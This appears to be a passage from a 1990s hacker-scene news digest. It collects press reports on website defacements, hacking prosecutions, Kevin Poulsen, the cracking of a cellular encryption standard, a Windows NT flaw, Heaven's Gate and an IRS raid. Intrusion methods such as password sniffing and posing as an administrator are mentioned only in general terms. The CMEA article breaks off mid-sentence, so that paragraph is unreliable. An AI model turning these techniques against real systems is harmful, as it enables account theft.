  11842. A group of British hackers, calling itself the Digital Anarchists,
  11843. infiltrated the Labour publicity site for the second time yesterday and
  11844. said it would continue to attack the Labour Web site this week. "We're
  11845. going to keep doing it again and again until further notice. And we're
  11846. going to hit some other sites as well," a spokesman for the group said
  11847. last night.
  11848.  
  11849. The hackers later infiltrated the Labour site a third time, while
  11850. computer experts were attempting to rectify the second attack. The Web
  11851. site has now been closed until future notice to prevent more further
  11852. embarrassing alterations of its content.
  11853.  
  11854. It is believed that the hackers will attack other political parties
  11855. including the Conservatives, Liberal Democrats, Scottish National Party
  11856. and Plaid Cymru. Internet sites belonging to other public organisations,
  11857. blue-chip companies and newspapers may also be affected.
  11858.  
  11859. The first attack, which promised free drugs and beer to young voters,
  11860. was made on Saturday while the British hacker community was staging a
  11861. Christmas party in Manchester.
  11862.  
  11863. The Labour leader's response to the Budget was replaced with a live sex
  11864. show of women wearing the "demon eyes" masks seen in the Tory
  11865. advertising campaign. The hackers also changed the title "The road to
  11866. the Manifesto" to "The road to nowhere" and altered links to other parts
  11867. of the site so they read "The Labour Party sex shop".
  11868.  
  11869.  
  11870. [=-------------------------------------------------------------------------=]
  11871.  
  11872. title: Police looking into hacking of Government web site
  11873. author: Adeline Goh
  11874. source: The Straits Times
  11875. date: Dec 10 1996
  11876.  
  11877.  
  11878. POLICE are investigating how the Singapore government's Web site on the
  11879. Internet was modified without authorisation. 
  11880.  
  11881. In the incident on Sunday, someone replaced the site's contents with a
  11882. list of more than 100 user identities (IDs) of people from various
  11883. government bodies. 
  11884.  
  11885. Yesterday, the Commercial Crime Division (CCD) of the Criminal
  11886. Investigation Department told The Straits Times that three officers from
  11887. its computer crime team had started work on the case. 
  11888.  
  11889. It added that the first step would be to trace the identity of the hacker
  11890. by checking the log files of the computer in which the Web site is housed. 
  11891.  
  11892. These log files keep track of people who access it.
  11893.  
  11894. The web site -- at http://www.gov.sg -- is the on-line version of the
  11895. Singapore Government directory and has links to the Web sites of various
  11896. bodies such as the ministries. 
  11897.  
  11898. The original contents of the site were restored by the National Computer
  11899. Board (NCB) on Sunday afternoon. When contacted yesterday, NCB, which
  11900. maintains the computer that houses the Web site, said that the hackers did
  11901. not gain access to any government networks which contain sensitive data. 
  11902.  
  11903. It added that the computer where the Web site was stored did not contain
  11904. sensitive information. 
  11905.  
  11906. It declined to give further details about the incident, saying that it had
  11907. referred the matter to the CCD. 
  11908.  
  11909. Several computer experts contacted yesterday said that electronic networks
  11910. could be broken into with special computer programs. 
  11911.  
  11912. They are placed into a network by hackers and they capture a user's log-in
  11913. password, which can then be retrieved. 
  11914.  
  11915. Those contacted added that passwords which are proper English words were
  11916. easy for hackers to crack. 
  11917.  
  11918. This is because there are also programs which try to log on by trying
  11919. words found in English dictionaries. 
  11920.  
  11921. One of the experts, Mr A. I. Chow, 32, a partner in a computer firm, said
  11922. perpetrators could even impersonate computer system administrators and ask
  11923. a particular user on the network to change his password to one supplied by
  11924. them. "When the user changes his password, the hacker can then access the
  11925. network easily with the user's account." 
  11926.  
  11927. Those contacted said data on Internet computers could be made more secure
  11928. if system administrators allowed Web pages to be updated only during
  11929. certain times or from computers within an organisation. 
  11930.  
  11931. Security could also be improved, they said, if passwords were generated
  11932. randomly and refreshed constantly. 
  11933.  
  11934. [=-------------------------------------------------------------------------=]
  11935.  
  11936. title: Computer Programmer Accused Of Breaking Into California
  11937.        State Contract Data
  11938.  
  11939. SACRAMENTO, Calif. (Jan 17, 1997 00:36 a.m. EST) -- The Bay Area
  11940. computer programmer who was arrested for hacking into the state
  11941. Department of Information Technology computer system tapped into
  11942. confidential information dealing with nearly a half million dollars
  11943. worth of government contracts, court records show.
  11944.  
  11945. David Ernesto Salas of Alameda, who faces four years in prison,
  11946. allegedly told others he had obtained confidential communication between
  11947. a contractor and department officials and he was going to use it in a
  11948. lawsuit against the department, said documents on file in Sacramento
  11949. Superior Court.
  11950.  
  11951. Salas, 34, who is free on $50,000 bail, was arraigned Tuesday in
  11952. Sacramento on three felony counts of computer hacking, including one
  11953. count which alleges he attempted to destroy the department's computer
  11954. system after his hacking was discovered.
  11955.  
  11956. Although some data was lost in the crash and the department's computer
  11957. system was down for two days in September, nearly everything has been
  11958. re-created by a backup computer system. Damage was estimated about
  11959. $10,000, officials said.
  11960.  
  11961. The incident, however, has been an embarrassment to department officials
  11962. and is viewed with concern because Information Technology oversees $2.2
  11963. billion in computer projects throughout state government.
  11964.  
  11965. The department was established last year after a series of audits and
  11966. investigations showed that millions in public funds were wasted on
  11967. bungled state computer projects.
  11968.  
  11969. Kenneth Keller, Salas's San Francisco attorney, has said his client, who
  11970. was a subcontractor hired to develop and install the department's
  11971. computer system, will eventually be vindicated.
  11972.  
  11973. Keller, who couldn't be reached for comment Thursday, said last week
  11974. that Salas had permission to be using the computer.
  11975.  
  11976. But according to court documents, Salas lost his authority to access the
  11977. computer when he lost his contract after a dispute with another
  11978. contractor in August. Beginning shortly before 11 p.m. Sept. 25 and into
  11979. the following day, Salas gained access to the department's computer. To
  11980. this day, it is not known exactly what he did once he entered the
  11981. system.
  11982.  
  11983. The backup computer, unbeknownst to Salas, did capture a trail of
  11984. changed passwords that led to the highest administrative level, giving
  11985. Salas full access to the entire computer system, documents said.
  11986.  
  11987. "Electronic mail (E-mail) regarding state service contracts worth
  11988. approximately $400,000 between (a contractor) and DOIT resided on the
  11989. DOIT system," said a summary of the facts in the case prepared for
  11990. Salas's arrest.
  11991.  
  11992. Special Agent Fred Adler of the Sacramento Hi-Tech Crimes Task Force,
  11993. which arrested Salas, said Thursday the case is still under
  11994. investigation and another arrest is possible.
  11995.  
  11996. In his affidavit for the search warrant, Adler said on Sept. 9, Salas
  11997. told Information Technology deputy director and chief counsel Alexis
  11998. Schatten that he had contacted an attorney to initiate a lawsuit against
  11999. a competing contractor for slandering him and other subcontractors.
  12000.  
  12001. Adler said there were witnesses who had seen Salas "bringing up
  12002. privileged information on (his computer) screen" and that Salas had
  12003. "alluded" to others that he possessed confidential information about
  12004. Information Technology's business dealings, court records show.
  12005.  
  12006. Department officials told investigators that "numerous confidential
  12007. communications exist on the their system relative to procurement,
  12008. installation and maintenance of multi-million dollar, state computer
  12009. systems," the affidavit said.
  12010.  
  12011. "Knowledge of these communications could prove to be financially
  12012. advantageous to firms involved in these processes," the affidavit said.
  12013.  
  12014. Rich Halberg, department spokesman, declined to comment on the search
  12015. warrant out of fear it might jeopardize an ongoing prosecution and
  12016. investigation.
  12017.  
  12018. He did say, however, that the department computer system does not
  12019. contain actual contracts, but he did say that there may be E-mail
  12020. pertaining to such contracts.
  12021.  
  12022. "We are doing the right thing by going after this guy," Halberg said.
  12023.  
  12024. "It is all too common in large companies and government to not want to
  12025. go after the hacker because it is difficult to prove. Hopefully, this
  12026. guy won't be in a position to do this again to another government
  12027. agency," Halberg said.
  12028.  
  12029.  
  12030. [=-------------------------------------------------------------------------=]
  12031.  
  12032. title: (none) [Australian Phone Worker Rigs Radio Contest]
  12033. source: COMTEX Newswire
  12034. date: 12/10/96  7:48 PM
  12035.  
  12036. SYDNEY, Dec. 11 (UPI S) -- An Australian telephone company worker who won 
  12037. $50,000 Australian (U.S. $40,000) in a radio station's phone-in 
  12038. competition has been charged with fraud after allegedly hacking into the 
  12039. phone line. Brian Ronald Francis, who police say used his expertise to 
  12040. ensure he was the 10th caller in the competition, has also been charged 
  12041. with two more offenses relating to two other radio competitions he won 
  12042. this year. 
  12043.    
  12044.  
  12045. [=-------------------------------------------------------------------------=]
  12046.  
  12047. title: Hacker challenges `dark side' book
  12048. author: Simson Garfinkel
  12049.  
  12050. Special to the Mercury News
  12051.  
  12052. KEVIN Poulsen was one of the most talented "dark side hackers" ever to
  12053. phreak a phone call.
  12054.  
  12055. For more than two years, Poulsen lived the life of a fugitive as part
  12056. of the seedy Los Angeles underground. He made money by reprogramming
  12057. Pacific Bell's computers for pimps and escort services, re-activating
  12058. old telephone numbers and building a voice-mail network pairing
  12059. prostitutes with their johns.
  12060.  
  12061. And he cleaned up by messing with the phones used by Los Angeles radio
  12062. stations, rigging their call-in contests so that he would always win
  12063. the big bucks or the car.
  12064.  
  12065. But Poulsen got caught and he spent more than five years in jail.
  12066.  
  12067. Behind bars in 1993, Poulsen did what any phone phreak would do: He
  12068. picked up the pay phone and started making collect calls. But these
  12069. calls where different: they went to Jonathan Littman, a journalist in
  12070. Mill Valley who had just published a magazine article about Poulsen's
  12071. crimes and exploits and was about to write a book on the same topic.
  12072.  
  12073. Poulsen wanted to make sure that Littman got the story right. He felt
  12074. that Littman had made a lot of mistakes in the magazine article.
  12075.  
  12076. Today, Poulsen feels somewhat betrayed by the journalist to whom he
  12077. gave total access. After reading an advance copy of Littman's book,
  12078. Poulsen says Littman has twisted the truth in order to make a more
  12079. compelling story.
  12080.  
  12081. "Most of my complaints about Littman's book are small things," said
  12082. Poulsen, who is on parole and living in Sherman Oaks, a Los Angeles
  12083. suburb. "He has major events right but then he changes the meaning of
  12084. them by changing minor events and making up quotes."
  12085.  
  12086. Littman stands by his work.
  12087.  
  12088. The book, "The Watchman: The Twisted Life and Crimes of Serial Hacker
  12089. Kevin Poulsen," is due to be published next month by Little, Brown and
  12090. Co. It's an insider's look at the world of a criminal computer hacker,
  12091. one of the most detailed yet published.
  12092.  
  12093. "He was one of the first to hack the Internet and get busted for it,"
  12094. said Littman, referring to Poulsen's 1984 arrest for breaking into
  12095. university computers on the ARPAnet, predecessor to today's Internet.
  12096.  
  12097. "They decided not to prosecute him because he was 17" when he was
  12098. arrested, Littman said. Instead, Poulsen was hired by a Silicon Valley
  12099. defense contractor.  "It was every hacker's dream -- to commit a crime
  12100. and instead of going to jail, to get a job with what was a top think
  12101. tank and defense contractor," Littman said.
  12102.  
  12103. Soon, however, Poulsen was back to his old tricks -- with a vengeance,
  12104. according to the book. He started physically breaking into Pacific
  12105. Bell offices, stealing manuals and writing down passwords. Much of
  12106. what he found went into a storage locker. But Poulsen couldn't handle
  12107. his finances, and got behind in his rent.  When the locker company
  12108. broke open Poulsen's lock his stash was discovered and a trap was
  12109. laid. As the FBI closed in, Poulsen left town, a fugitive on the run.
  12110.  
  12111. Guilty plea
  12112.  
  12113. He was caught June 21, 1991, and spent nearly three years in pre-trial
  12114. detention. On June 14, 1994, in federal court in Southern California,
  12115. he pleaded guilty to seven counts of computer fraud, interception of
  12116. wire communications, mail fraud, money laundering and obstruction of
  12117. justice. He was then transferred to Northern California to face a
  12118. spying charge, based on his possession of material the government
  12119. called classified. He pleaded guilty to fraud, possession of
  12120. unauthorized access devices and fraudulent use of a Social Security
  12121. number, and was released June 4, last year.
  12122.  
  12123. The Watchman is Littman's second book on the computer hacker
  12124. underground. His first, "The Fugitive Game," followed the exploits of
  12125. hacker Kevin Mitnick, who was on the run and eventually caught by
  12126. computer security expert Tsutomu Shimomura and New York Times reporter
  12127. John Markoff. Shimomura and Markoff wrote their own book describing
  12128. the chase, and they both objected to Littman's version of the events.
  12129.  
  12130. For his part, Poulsen seems most angry about the implication of the
  12131. new book's title -- that he was somehow obsessed with eavesdropping
  12132. and largely acted alone.
  12133.  
  12134. Only two wiretaps
  12135.  
  12136. In the book, Littman has Poulsen listening to dozens of conversations
  12137.  -- even wiretapping the telephones of people trying to sell used
  12138. equipment through newspaper classified ads, to see if they are being
  12139. honest with their prices.
  12140.  
  12141. Poulsen insists that he wiretapped the telephones of only two people:
  12142. another hacker who was also an FBI informant and his high-school
  12143. girlfriend.
  12144.  
  12145. "He also reports that I obsessively followed the details of every
  12146. escort date, including details of the tricks," Poulsen says, among
  12147. other complaints. "He made that up. Totally made that up."
  12148.  
  12149. Littman denies making up quotes, and insists that everything in the
  12150. book was told to him by one of the participants.
  12151.  
  12152. "I've written a book about a very complicated story about
  12153. controversial people who had very different versions of what
  12154. happened," Littman said. "I've done the best I can to view them
  12155. objectively. Somebody else might view them differently, and the
  12156. participants obviously have a subjective perspective. My views are in
  12157. the book."
  12158.  
  12159. But Poulsen says that Littman's fundamental premise is flawed. "John
  12160. had a problem in writing this book," Poulsen said. "He wanted to sell
  12161. it as the troubled loner-hacker-stalker guy. The problem is I had five
  12162. co-defendants and it is hard to portray someone as a troubled loner
  12163. when you have five other people making it happen."
  12164.  
  12165. Not a loner
  12166.  
  12167. Ron Austin, Poulsen's friend and co-conspirator, agrees. "Littman has
  12168. to write an interesting book, I guess," he said. "He downplays the
  12169. role of a lot of people, but I think that's because he is writing a
  12170. book about Kevin. My role is downplayed." Austin also said the role of
  12171. Justin Petersen, a hard-rocking hacker and co-conspirator is
  12172. underplayed.
  12173.  
  12174. Austin, also on parole, said he is concerned that the controversy
  12175. regarding Littman's portrayal of Poulsen might obscure some of the
  12176. more important issues raised by Littman's book: That the FBI engaged
  12177. in widespread wiretapping of foreign consulates in the San Francisco
  12178. area, the FBI's apparent hiring of an informant to commit illegal acts
  12179. on the agency's behalf, and that the FBI's apparent ability to decrypt
  12180. files on Poulsen's computer that had been encrypted with the
  12181. U.S. government's Data Encryption Standard, a popular data-scrambling
  12182. algorithm.
  12183.  
  12184. The FBI office in Los Angeles declined to comment on the Poulsen
  12185. case. A representative of the FBI's Washington office said, "We
  12186. normally do not comment on books that are coming out until we have had
  12187. an opportunity to review the book."
  12188.  
  12189. As a condition of his plea bargain, Poulsen is prohibited from
  12190. discussing FBI wiretaps.
  12191.  
  12192. Littman said he feels "lucky as a writer to have been able to spend
  12193. some time with Poulsen and these other characters in the story."
  12194.  
  12195. "One thing about Poulsen is he really had a very highly developed
  12196. ethical model that he believed in," Littman said. "He found it
  12197. challenged by his circumstances and the people he associated with. I
  12198. found it fascinating to see how he resolved this age-old computer
  12199. hacker ethic with a changing world."
  12200.  
  12201.  
  12202.  
  12203.  
  12204. Cellular Code-breakers Blame Standards Process
  12205. 577 Words
  12206. 4312 Characters
  12207. 04/03/97
  12208. TR Wireless News
  12209. Copyright (c) 1997 BRP Publications, Inc.
  12210.  
  12211.   Computer scientists claim they have demonstrated how to break the
  12212. industry-standard code that encrypts cellular phone calls-a discovery
  12213. they termed "a setback to the U.S. cellular telephone industry."  The
  12214. code-breakers included Bruce Schneier of Counterpane Systems, a
  12215. Minneapolis consulting firm, and graduate student David Wagner of the
  12216. University of California at Berkeley.
  12217.  
  12218.   They criticized the wireless industry's technical standards-setting 
  12219. process for establishing what they consider a weak standard, and they
  12220. attacked the government for "hamstringing emerging cellular security
  12221. technology."  Release of their announcement and academic paper was timed
  12222. to coincide with congressional hearings on encryption policy.
  12223.  
  12224.   The researchers' press release observes that the digital cellular
  12225. system uses encryption to "scramble voice communications." Their paper,
  12226. Cryptanalysis of the Cellular Message Encryption Algorithm (CMEA),
  12227. concerns cellular phone keypad entries, but not voice conversations. Mr.
  12228. Schneier told TRWN that the digital cellular voice encryption standard
  12229. is "so incredibly vulnerable" to decryption that it was "not worth
  12230. writing about."  The voice standard's fundamental code was broken by the
  12231. "Union Army in the Civil War," he added.
  12232.  
  12233.   The researchers didn't challenge either the subscriber 
  12234. "authentication" or the "fingerprinting" antifraud procedures now common
  12235. in the cellular service. Authentication and fingerprinting technologies
  12236. "are not compromised by the cryptography announced today," according to
  12237. the Cellular Telecommunications Industry Association.
  12238.  
  12239.   The technical paper describes a cryptographic "attack" on the CMEA.
  12240. Such an attack, in practice, would require analysis of data recovered
  12241. from recorded calls, received on radios capable of decoding digital
  12242. cellular transmissions. Such radios aren't easily available; the common
  12243. "scanner" can't receive them.
  12244.  
  12245.   "We did not touch a cellular phone in our analysis, and there is no
  12246. commercial equipment available that could receive digital cellular
  12247. signals. We worked with a paper standard only," Mr. Schneier said. The
  12248. attack took "minutes or hours" on a Pentium-class personal computer, and
  12249. to comply with U.S. laws and who agreed not to "misuse" the
  12250. information. Federal agencies, including NSA, had certain
  12251. "sensitivities" as to the encryption power of CMEA and its lawful export
  12252. under then-current laws, he said. These concerns led to CMEA's being
  12253. somewhat less "robust" than the authentication algorithm.
  12254.  
  12255.    Updating CMEA to address the concerns raised by the cryptographers'
  12256. announcement has become the "highest priority" for the TR45 committee at
  12257. its upcoming meetings, Mr. Marinho said. He added that the shift in
  12258. federal jurisdiction over encryption from the State Department to the
  12259. Commerce Department has enabled TIA to move forward in improving CMEA.
  12260.  
  12261. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  12262.  
  12263. TRENDS IN BRIEF...
  12264. 285 Words
  12265. 2117 Characters
  12266. 04/07/97
  12267. Report on Microsoft
  12268. Copyright 1997 Information Access Company. All rights reserved.
  12269.  
  12270.   A trade publication reports that a "major" security flaw has been
  12271. uncovered in Microsoft's network operating system, Windows NT.
  12272.  
  12273.   The flaw could enable a user dialing in from a remote location to
  12274. unscramble encrypted information -- including a corporate network's
  12275. entire registry of user passwords -- and display it as plain text. EE
  12276. Times Online (http://www.eet.com) said the discovery is especially
  12277. troublesome for Microsoft because it has tried to position NT as more
  12278. secure network server than alternatives such as Unix. Two professional
  12279. security technologists wrote the code for the "hack" that found the
  12280. flaw.
  12281.  
  12282.   The code has been verified by several experts and is making the
  12283. rounds on the Internet via an mailing list frequented by skilled
  12284. hackers with an interest in NT-security issues. The potentially
  12285. password-cracking code is the third major security flaw found in NT in
  12286. as many months and follows recent revelations of security holes in
  12287. Microsoft's Internet Explorer Web browser. The software giant's
  12288. security technology has come under closer scrutiny by the hacking
  12289. community as NT and Internet Explorer have found broader market
  12290. acceptance... At least a dozen major companies have joined the race to
  12291. buy, invest or strike strategic alliances with small Java developers,
  12292. according to a trade publication report. Driven by the growing
  12293. popularity of Java and the need to get products to market more quickly
  12294. than they can be developed internally, these vendors frequently are
  12295. courting the same developers to shore up their Java offerings. One
  12296. developer, while declining to comment on any talks his company has had,
  12297. named Sun Microsystems Inc., Microsoft, Novell Inc., Netscape
  12298. Communications Corp. and IBM/Lotus as the top Java hunters, followed by
  12299. a second tier of tools vendors that include Symantec Corp.
  12300.  
  12301. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  12302.  
  12303. Social Security officials insist Web info is secure
  12304.  
  12305. April 8, 1997
  12306. Web posted at: 12:10 a.m. EST 
  12307.  
  12308. WASHINGTON (CNN) -- Social security records now available through the
  12309. Internet pose few security threats to the individuals who request them
  12310. administration officials said Monday. 
  12311.  
  12312. For the past month, Americans have had the option of having their Personal
  12313. Earnings and Benefit Estimate Statement (PEBES) sent to them electronically.
  12314. The information previously had to be mailed to them in a process that took as
  12315. long as six weeks -- and at a cost of millions of dollars in postage each year.
  12316.  
  12317. Phil Gambino, a spokesman for the Social Security Administration, said the top
  12318. priority of the new program is maintaining privacy, and several security 
  12319. features have been built into the new system to do just that. 
  12320.  
  12321. "The information going back and forth between the requester and Social Security
  12322. is encrypted, so if it gets intercepted in the middle, it can't be interpreted -- it
  12323. would look like jibberish," he said. 
  12324.  
  12325. Auditors also are able to trace the origin of a request to the exact personal
  12326. computer used to make it, he said. 
  12327.  
  12328. Still, critics concerned about privacy rights are worried. 
  12329.  
  12330. "As soon as crooks start exploiting this service to get other people's
  12331. information, Social Security is going to have a real problem on its hands," 
  12332. Evan Hendricks, chairman of the U.S. Privacy Council in Washington, told USA 
  12333. Today.
  12334.  
  12335. The newspaper identified various types of potential abuse: potential employers
  12336. could get the salary history of job applicants; co-workers could determine how
  12337. much fellow employees make; landlords could use the information to determine
  12338. whether someone can afford an apartment. 
  12339.  
  12340. While Gambino insisted someone would have to "go through a great deal of
  12341. effort" to steal information, even the PEBES Web page offers a disclaimer: "We
  12342. cannot absolutely guarantee that the information you are sending will not be
  12343. intercepted by others and decrypted." 
  12344.  
  12345. Indeed, one person in January decoded an encryption code similar to the one
  12346. used to secure the Social Security information. 
  12347.  
  12348. Responding to a challenge from a computer security firm, a graduate student
  12349. cracked the code in 3 1/2 hours. He used 250 work stations to do test 100 
  12350. billion code combinations per hour to crack a 40-bit electronic key. The
  12351. PEBES page is encrypted with at least a 40-bit key, although it could have 
  12352. 128 bits or more. 
  12353.  
  12354. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  12355.  
  12356. Web authors linked to suicide sect 
  12357. By Alan Boyle and Paul Chavez 
  12358. MSNBC 
  12359.  
  12360.       Members of the religious community who died in Rancho Santa Fe
  12361. earned money by designing business sites on the World Wide Web and
  12362. may have tied their death pact to coincide with the return of the
  12363. Hale-Bopp comet. 
  12364.  
  12365.      Farewell tape shows cultists' calm resolve Cult built an 'earth ship' of 
  12366. old tires Rendezvous with mortality Cults growing on the Net How to know if a 
  12367. loved one is in a cult Talk about this story in our News BBS.
  12368.  
  12369.      The group did business as Higher Source Contract Enterprises and
  12370. designed a variety of sites, including the San Diego Polo Clubs home
  12371. page on the World Wide Web.
  12372.  
  12373.      Commander Al Fulmer of the San Diego County Sheriffs Office said
  12374. during a Thursday press conference that the group also called itself
  12375. Heavens Gate. A Web site using that name makes a connection
  12376. between the Hale-Bopp comet, which last visited Earth about 4,200
  12377. years ago, and a time of closure.
  12378.  
  12379.      The Heavens Gate site was found under several addresses
  12380. Thursday, including one Internet address located in Romania. Most of
  12381. the sites were either pulled off the World Wide Web later Thursday or
  12382. were made inaccessible because of high volumes of Internet traffic.
  12383. Katie Greene, a spokesperson for Internet service provider
  12384. Concentric Network, located in Californias Silicon Valley south of San
  12385. Francisco, said they have been providing Internet service to the group
  12386. since March 1995.
  12387.  
  12388.      A section of one Heavens Gate site outlined the groups beliefs and
  12389. said that 2,000 years ago a crew member of the kingdom of heaven took
  12390. over the body of Jesus. This Christ-like member prepared others for
  12391. departure into the kingdom of heaven. 
  12392.  
  12393.      The site said the groups mission was the same.
  12394.  
  12395. I am in the same position to todays society as was the One that
  12396. was in Jesus then, the sites author wrote. My being here now is
  12397. actually a continuation of that last task as was promised, to those who
  12398. were students 2,000 years ago. ... Our only purpose is to offer the
  12399. discipline and grafting required of this transition.
  12400.  
  12401.      Another section of the site described two leaders, a male and
  12402. female, who in the early 1970s took over two bodies, which they called
  12403. vehicles.
  12404.  
  12405.      The Heavens Gate group may be a high-tech reincarnation of a
  12406. 1970s community that had been dubbed the UFO Cult.
  12407.  
  12408.      Strong similarities exist between the 1970s group and information
  12409. found on World Wide Web sites connected to Heavens Gate. The two
  12410. leaders of the the so-called UFO cult have been previously identified in
  12411. news reports as Houston residents. News reports also said the female
  12412. leader is dead. 
  12413.  
  12414.     One page called Last Chance to Evacuate Earth Before Its
  12415. Recycled outlined the groups history and mission. The author of the
  12416. page identified himself as Do  as in the musical tone.
  12417.  
  12418.     The author said he was related to the Ti and Do that made news in
  12419. 1975 as the UFO cult. The author also said that his female partner, Ti,
  12420. left earth in 1985.
  12421.  
  12422.     Much of the information on the site outlined how representatives
  12423. from a Kingdom Level Above Human were on Earth to escort others to
  12424. the higher level.
  12425.  
  12426.     The site also had a section detailing its position against suicide by
  12427. non-members.  Larry Trachte, professor of religion at Wartburg College, said 
  12428. that suicide often has a different meaning among religious groups and cults. 
  12429.  
  12430.  
  12431.     Death is seen more in an Eastern perspective, Trachte said. So
  12432. there isnt a sense that all this is tragic. Its more the spiritual, mental
  12433. orientation of these people that believe this way. They believe this life
  12434. is just one in an ongoing cycle or series or wheel of life. And ending this
  12435. life is like opening a window or door and moving into another existence.
  12436.  
  12437.     Trachte said he took some solace in the news that no children were
  12438. involved with the group. 
  12439.  
  12440.     He also was not surprised with the connection to the Hale-Bopp comet.
  12441.  
  12442.     Throughout history, the heavens and the signs of the stars and
  12443. peculiar events like comets have signified extraterrestrial powers,
  12444. Trachte said. Its not totally surprising that a comet would trigger such a
  12445. response.
  12446.  
  12447.     He said the group was unique in that it apparently mixed modern
  12448. phenomena, such as UFOs, computers, the comet and the Internet, with
  12449. age-old beliefs of being swept into heaven.
  12450.  
  12451.     Even in the Christian experience you have that recorded experience
  12452. of people from another country following a heavenly display or
  12453. revelation, which to them pointed to the birth of Christ, Trachte said.
  12454.  
  12455.     The Heavens Gate group also designed pages publicizing
  12456. Pre-Madonna, an album of Madonnas early songs;
  12457. 1-800-HARMONY, a music and video mail-order operation; British
  12458. Masters, a clearinghouse for auto parts; and Keep the Faith, a site
  12459. devoted to contemporary Christian music and news. 
  12460.  
  12461.     The group used advanced Web page design and technology,
  12462. including Java and Javascript, animated images and virtual reality
  12463. modeling language.
  12464.  
  12465.     Beverly Hills businessman Nick Matzorkis, who runs the
  12466. Pre-Madonna site, told authorities that he now employs a former
  12467. member of the Higher Source group. Matzorkis said that members sent
  12468. the employee  whom he identified only as Rio  two videotapes this week
  12469. that described their intentions to commit suicide.  
  12470.  
  12471.     Members of Heavens Gate believed it was time to shed their
  12472. containers, perhaps to rendezvous with a UFO they believed was
  12473. traveling behind the Hale-Bopp comet, Matzorkis told NBCs Today
  12474. show.
  12475.  
  12476.     The author identified as Do said on the Heavens Gate site, dated
  12477. Sept. 29, 1996, that time was short.
  12478.  
  12479.     The end of this civilization is very close, the site said. The end of
  12480. a civilization is accompanied by a spading under, refurbishing the
  12481. planet in preparation for another civilization. And the only ones who
  12482. can survive that experience have to be those who are taken into the
  12483. keeping of the Evolutionary Level Above Human. 
  12484.  
  12485. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  12486.  
  12487. Hecklers hack at human bugs that crawl the Web
  12488.  
  12489.         A couple of weeks ago the U.S. public was distracted by issues of
  12490.      Internet pornography. The U.S. Supreme Court was considering the
  12491.      Communications Decency Act, a law meant to control obscenity
  12492.      supposedly bombarding youthful computer users.
  12493.  
  12494.         Meanwhile Marshall Herff Applewhite and 38 members of the Heaven's
  12495.      Gate cult were updating their Web site, laying in a supply of new
  12496.      Nike sneakers, and preparing to kill themselves.
  12497.  
  12498.        Politicians and clergy had a firm grip on the anti-porn franchise.
  12499.      Who, on the other hand, was tackling murderous mass delusion?
  12500.  
  12501.         The answer: a few skeptics and hecklers, and they did a good job
  12502.      of it.
  12503.         Their postings continue to collect in the forums of Usenet where
  12504.      cult followers put their prophecies about the alien spaceship that
  12505.      supposedly follows the comet Hale-Bopp.
  12506.  
  12507.         "It seems odd that a higher life form would prefer us paltry
  12508.      humans to wear black Nikes with a white "swoosh' as our ceremonial
  12509.      sending off garb," sneers a contributor to sci.astro, a group of
  12510.      otherwise sensible astronomers. "What is wrong with Reebok or
  12511.      Adidas? Is there a conspiracy here?"
  12512.  
  12513.         Criticism also focused on syndicated radio host Art Bell, who has
  12514.      promoted the astronaut-messiah movement. He used to talk more about
  12515.      evil government, until the Oklahoma City federal building bomb went
  12516.      off. Lately his agenda has been heavier on spaceships.
  12517.  
  12518.         "Art's role in their deaths was that of a liar and snake oil
  12519.      salesman, trafficker in junk science, a promoter of charlatans and
  12520.      their wares, and a parasitic peddler of pernicious poppycock," says a
  12521.      contributor "decieving you're some sort of chosen spokesman
  12522.      for some trumped-up alien scam so you can sell your booklet," says
  12523.      another.
  12524.  
  12525.         A preacher surrounding himself with goons in a sealed-off temple,
  12526.      a con artist fleecing followers in a distant commune, even an
  12527.      infomercial huckster on radio or television, is protected from
  12528.      opponents who might distract his victims.
  12529.  
  12530.        But how many of Jim Jones' followers might have been deterred from
  12531.      going to Guyana with him, and tasting his deadly brew, had the
  12532.      Internet been in wider use 20 years ago, complete with its noisy
  12533.      skeptics countering his preachings?
  12534.  
  12535.         Jones took more than 900 lives with him. Applewhite only got 38
  12536.      to go along. That's progress.
  12537.  
  12538.         "Think of it as evolution in action. Or maybe they were right and
  12539.      are aboard the mothership now. Either way, it's 39 fewer idiots
  12540.      cluttering up the planet," says another contributor. This does not
  12541.      encourage copycats.
  12542.  
  12543.         Skeptical argument is not limited to religious themes. In
  12544.      Usenet's thousands of newsgroups, forums cover politics, social life,
  12545.      dating and marriage, most of the arts and sciences, journalism and
  12546.      international relations. To some degree, they are all the scenes of
  12547.      noisy, sometimes sarcastic and even profane debate. Group members
  12548.      even patrol for porn, often vigorously repelling sexual-oriented
  12549.      postings with the same forensic muscle.
  12550.  
  12551.         Anyone can join in soc.couples, alt.fan.rush-limbaugh,
  12552.      alt.politics.clinton, alt.politics.british, alt.history.what-if,
  12553.      rec.arts.movies, sci.military, alt.journalism and other cyberbrawls.
  12554.      They argue feminism, political campaign funding, TV violence,
  12555.      landmines, sex and Nazism. There is even a fun group that regularly
  12556.      argues the perennial subject of world domination by hamburger
  12557.      franchise (it's called alt.nuke.the.usa).
  12558.  
  12559.         Heckling and skepticism? Indeed, as it should be. 
  12560.  
  12561. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  12562.  
  12563. The Netly News Network
  12564. April 3, 1997
  12565.  
  12566. IRS raids a cypherpunk
  12567. by Declan McCullagh (declan@well.com)
  12568.  
  12569.  
  12570.      Jim Bell's first mistake was publishing an
  12571. essay describing how disgruntled citizens could
  12572. kill off Federal government agents by using
  12573. anonymous betting pools and digital cash. His
  12574. second mistake was informing the IRS that the
  12575. agency had no legal authority to tax him.
  12576.  
  12577.      About twenty armed IRS agents and other
  12578. Federal police swarmed into Bell's home in
  12579. Washington state on Tuesday morning, hunting for
  12580. evidence that Bell's "Assassination Politics"
  12581. essay had come to fruition. They expropriated
  12582. Bell's three computer systems, two guns and even
  12583. a solitary mouse cable. The Feds were taking no
  12584. chances: Since Bell's voluminous Net postings
  12585. mentioned tax collectors, agents from the BATF,
  12586. FBI, DEA, and local police forces joined the
  12587. raid.
  12588.  
  12589. [...]
  12590.  
